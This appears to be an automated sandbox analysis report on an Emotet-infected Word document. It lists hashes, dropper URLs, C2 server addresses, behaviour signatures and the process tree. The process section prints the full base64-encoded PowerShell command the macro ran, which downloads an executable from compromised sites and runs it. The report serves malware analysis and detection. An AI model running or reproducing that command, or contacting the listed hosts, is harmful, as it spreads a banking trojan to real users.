Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    147s
  • max time network
    52s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    14/08/2020, 08:22

Sharing

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Report Analysis Logs

General

  • Target
    emotet_e2_ce9ff1845b08d7610cd9a181ced3676fc04452e4d019ef14a48d59634b45cff1_2020-08-14__081945._doc.doc
  • Size 232KB
  • Sample200814-e9c86kexrn
  • SHA256 ce9ff1845b08d7610cd9a181ced3676fc04452e4d019ef14a48d59634b45cff1
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://lotuspolymers.com/wp-includes/8twl_g_ov8/
  • exe.dropper

    http://metheney.com/writehandservices.com/tkivf_6eio_dvgkj/
  • exe.dropper

    https://www.sonoki-family.com/wp-content/s303_w_kikau/
  • exe.dropper

    http://tecnofrota.net/cgi-bin/1_9alwl_mg9i4/
  • exe.dropper

    http://geisterhouse.com/cgi-bin/zjs1s_bb_g/

Extracted

Family

  • emotet

C2

  • 24.233.112.152:80

  • 69.30.203.214:8080

  • 192.210.135.126:8080

  • 47.144.21.12:443

  • 157.245.99.39:8080

  • 119.198.40.179:80

  • 62.75.141.82:80

  • 181.211.11.242:80

  • 167.86.90.214:8080

  • 95.213.236.64:8080

  • 87.106.139.101:8080

  • 109.74.5.95:8080

  • 142.105.151.124:443

  • 47.146.117.214:80

  • 185.94.252.104:443

  • 2.58.16.85:7080

  • 222.214.218.37:4143

  • 85.105.205.77:8080

  • 190.160.53.126:80

  • 107.185.211.16:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 3 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_ce9ff1845b08d7610cd9a181ced3676fc04452e4d019ef14a48d59634b45cff1_2020-08-14__081945._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1436
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABYAHIAZgBiAG8AeQBlAD0AJwBSAHcAcgBvAGUANwBnACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAGMAVQByAEkAdABZAFAAcgBgAG8AVABPAEMAYABPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABNAG8AcAAwAGwAawB6ACAAPQAgACcASwB2AGEAcAAnADsAJABIAG0AdQBfAHIANABiAD0AJwBSADgANQB3AGsAZwBpACcAOwAkAFMAYQA5ADYAZQB6AHUAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABNAG8AcAAwAGwAawB6ACsAJwAuAGUAeABlACcAOwAkAEgANgByAGMANwBoAGgAPQAnAEYAZwAwAHcAaABhAGYAJwA7ACQAVgAxADgAbQByAGgAaAA9AC4AKAAnAG4AJwArACcAZQB3AC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAAbgBlAHQALgB3AGUAYgBjAGwASQBFAE4AdAA7ACQAUgBiADcAdABkAGQANwA9ACcAaAB0AHQAcABzADoALwAvAGwAbwB0AHUAcwBwAG8AbAB5AG0AZQByAHMALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvADgAdAB3AGwAXwBnAF8AbwB2ADgALwAqAGgAdAB0AHAAOgAvAC8AbQBlAHQAaABlAG4AZQB5AC4AYwBvAG0ALwB3AHIAaQB0AGUAaABhAG4AZABzAGUAcgB2AGkAYwBlAHMALgBjAG8AbQAvAHQAawBpAHYAZgBfADYAZQBpAG8AXwBkAHYAZwBrAGoALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHMAbwBuAG8AawBpAC0AZgBhAG0AaQBsAHkALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBzADMAMAAzAF8AdwBfAGsAaQBrAGEAdQAvACoAaAB0AHQAcAA6AC8ALwB0AGUAYwBuAG8AZgByAG8AdABhAC4AbgBlAHQALwBjAGcAaQAtAGIAaQBuAC8AMQBfADkAYQBsAHcAbABfAG0AZwA5AGkANAAvACoAaAB0AHQAcAA6AC8ALwBnAGUAaQBzAHQAZQByAGgAbwB1AHMAZQAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHoAagBzADEAcwBfAGIAYgBfAGcALwAnAC4AIgBTAGAAcABMAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFIAaQB4AHUAOABnAHUAPQAnAFAAcABkADIANAA3AGQAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFcAMABkAGUAYQBwADgAIABpAG4AIAAkAFIAYgA3AHQAZABkADcAKQB7AHQAcgB5AHsAJABWADEAOABtAHIAaABoAC4AIgBEAE8AYAB3AE4AbABPAGAAQQBkAGAARgBJAEwAZQAiACgAJABXADAAZABlAGEAcAA4ACwAIAAkAFMAYQA5ADYAZQB6AHUAKQA7ACQAUQB4AGYAXwB1AHUAdQA9ACcARABiADMAbAA2AHEAcwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAFMAYQA5ADYAZQB6AHUAKQAuACIATABFAGAATgBnAFQAaAAiACAALQBnAGUAIAAzADIAOAA2ADgAKQAgAHsALgAoACcASQAnACsAJwBuAHYAbwAnACsAJwBrAGUALQBJAHQAZQAnACsAJwBtACcAKQAoACQAUwBhADkANgBlAHoAdQApADsAJABPADkAYgB0AHoAeABkAD0AJwBYAHEAcgBlAHEAMQBtACcAOwBiAHIAZQBhAGsAOwAkAEEAMAB2ADcAZwAxAGUAPQAnAE8AcAA2AHAAagAyAGYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATABfAGgAMABjAG8AMAA9ACcAQgB6AHkAZABkADkAegAnAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1388
    • C:\Users\Admin\AppData\Local\Temp\Kvap.exe
      "C:\Users\Admin\AppData\Local\Temp\Kvap.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1628
      • C:\Windows\SysWOW64\appidapi\devobj.exe
        "C:\Windows\SysWOW64\appidapi\devobj.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:2008

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/676-23-0x000007FEEFE90000-0x000007FEF010A000-memory.dmp
        Download

        memory/1388-9-0x0000000002510000-0x0000000002511000-memory.dmp
        Download

        memory/1388-15-0x000000001C700000-0x000000001C701000-memory.dmp
        Download

        memory/1388-10-0x000000001AA40000-0x000000001AA41000-memory.dmp
        Download

        memory/1388-11-0x000000001A960000-0x000000001A961000-memory.dmp
        Download

        memory/1388-12-0x000000001A990000-0x000000001A991000-memory.dmp
        Download

        memory/1388-8-0x000007FEEA1D0000-0x000007FEEABBC000-memory.dmp
        Download

        memory/1388-14-0x000000001B4E0000-0x000000001B4E1000-memory.dmp
        Download

        memory/1436-2-0x00000000089D0000-0x00000000089D4000-memory.dmp
        Download

        memory/1436-13-0x0000000002100000-0x0000000002101000-memory.dmp
        Download

        memory/1436-6-0x000000000BED0000-0x000000000BED4000-memory.dmp
        Download

        memory/1436-5-0x000000000AE50000-0x000000000AE54000-memory.dmp
        Download

        memory/1436-4-0x0000000006D10000-0x0000000006F10000-memory.dmp
        Download

        memory/1628-18-0x0000000000370000-0x000000000037C000-memory.dmp
        Download

        memory/2008-22-0x0000000000250000-0x000000000025C000-memory.dmp
        Download